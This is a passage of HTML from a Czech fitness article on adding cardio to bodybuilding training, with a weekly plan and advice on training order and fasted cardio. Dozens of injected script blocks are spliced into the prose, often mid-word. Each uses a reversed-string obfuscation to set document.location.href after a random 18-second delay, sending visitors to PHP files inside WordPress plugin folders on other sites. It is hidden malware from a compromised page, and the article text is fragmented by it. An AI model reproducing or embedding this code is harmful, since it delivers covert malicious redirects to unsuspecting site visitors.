(number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f, kte\u0159\u00ed by se vy\u017e\u00edvali v\u00a0aerobn\u00edch aktivit\u00e1ch a na kardio tr\u00e9ninky se t\u011b\u0161ili. Jen\u017ee pro udr\u017een\u00ed dobr\u00e9 kondice je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u2013 stejn\u011b jako pro efektivn\u00ed spalov\u00e1n\u00ed tuk\u016f \u2013 zcela nezbytn\u00e9. Pokud pat\u0159\u00edte ke kulturist\u016fm, kte\u0159\u00ed s\u00a0n\u00e1stupem objemov\u00e9 f\u00e1ze, napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to vypust\u00ed jak\u00e9koliv kardio, je pro v\u00e1s postupn\u00fd n\u00e1vrat o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to d\u016fle\u017eit\u011bj\u0161\u00ed. Nem\u016f\u017eete z\u00a0nuly nasko\u010dit na hodinov\u00e9 tr\u00e9ninky. T\u00edm by se pohybov\u00fd apar\u00e1t nebezpe\u010dn\u011b p\u0159et\u00ed\u017eil. Mo\u017en\u00e1 byste <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to ust\u00e1li ve dvaceti, ale jestli <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tohle obdob\u00ed \u017eivota m\u00e1te u\u017e n\u011bjakou dobu za sebou, ur\u010dit\u011b je v\u00e1m jasn\u00e9, \u017ee se sv\u00fdm t\u011blem mus\u00edte n\u00e1le\u017eit\u011b zach\u00e1zet, aby v\u00e1m dob\u0159e slou\u017eilo je\u0161t\u011b dlouh\u00e9 roky.<\/p>\n<p>Asi se mezi v\u00e1mi najdou \u0161\u0165astlivci, jejich\u017e metabolismus zajist\u00ed n\u00edzkou hladinu tuk\u016f v\u00a0t\u011ble i bez vy\u010derp\u00e1vaj\u00edc\u00edch aerobn\u00edch tr\u00e9nink\u016f, ale v\u011bt\u0161ina z\u00a0v\u00e1s se bez t\u0159i dvacetiminu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fdch tr\u00e9nink\u016f t\u00fddn\u011b nejsp\u00ed\u0161 neobejde. A nebude m\u00e1lo t\u011bch, co budou muset je\u0161t\u011b p\u0159itvrdit.<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li><strong>\u2013 2. T\u00ddDEN<\/strong><\/li>\n<\/ol>\n<p><strong>3 x 20 minut p\u0159i st\u0159edn\u011b vysok\u00e9 intenzit\u011b<\/strong><\/p>\n<p>V\u00a0prvn\u00edch dvou t\u00fddnech za\u0159azujte v\u017edy t\u0159i dvacetiminu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e9 aerobn\u00ed tr\u00e9ninky p\u0159i st\u0159edn\u00ed intenzit\u011b. To znamen\u00e1, \u017ee by va\u0161e nasazen\u00ed nem\u011blo b\u00fdt takov\u00e9, abyste b\u011bhem aktivity cha<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovali s\u00a0kamar\u00e1dy na mobilu, ale sou\u010dasn\u011b byste nem\u011bli lapat po dechu. Ide\u00e1ln\u00ed by bylo, kdybyste se b\u011bhem t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to doby lehce zapotili. Z\u00e1le\u017e\u00ed jen na v\u00e1s, jestli v\u00a0tu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to chv\u00edli za\u0159ad\u00edte aerobn\u00ed tr\u00e9ninky v\u00a0n\u00e1vaznosti na posilovac\u00ed nebo zcela zvl\u00e1\u0161\u0165. Konec konc\u016f ani odborn\u00edci se doposud jednozna\u010dn\u011b nedohodli, jestli je p\u0159\u00ednosn\u011bj\u0161\u00ed nav\u00e1zat aerobn\u00ed aktivi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou na posilovac\u00ed tr\u00e9nink nebo ponechat kardio jako napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to samostatnou cvi\u010debn\u00ed jednotku. V\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to sm\u011bru jsou zku\u0161enosti spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f vysloven\u011b individu\u00e1ln\u00ed a samoz\u0159ejm\u011b je t\u0159eba v\u017edycky pracovat tak\u00e9 s\u00a0\u010dasov\u00fdmi mo\u017enosti jednotlivc\u016f. V\u00a0p\u0159\u00edpad\u011b, \u017ee byste posilovac\u00ed a aerobn\u00ed tr\u00e9nink nav\u00e1zali na sebe, m\u011bjte na pam\u011bti, \u017ee potr\u00e9ninkov\u00fd koktejl s\u00a0obsahem protein\u016f a sacharid\u016f za\u0159ad\u00edte a\u017e po \u00fapln\u00e9m skon\u010den\u00ed v\u0161ech fyzick\u00fdch aktivit. Hodn\u011b se diskutuje o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, jestli je p\u0159\u00ednosem aerobn\u00ed aktivita r\u00e1no nala\u010dno. A op\u011bt plat\u00ed, \u017ee mus\u00edte sami na sob\u011b vyzkou\u0161et, jestli pro v\u00e1s d\u00e1v\u00e1 smysl p\u0159ed tr\u00e9ninkem nesn\u00eddat. V\u011bt\u0161ina spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f se shoduje na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if 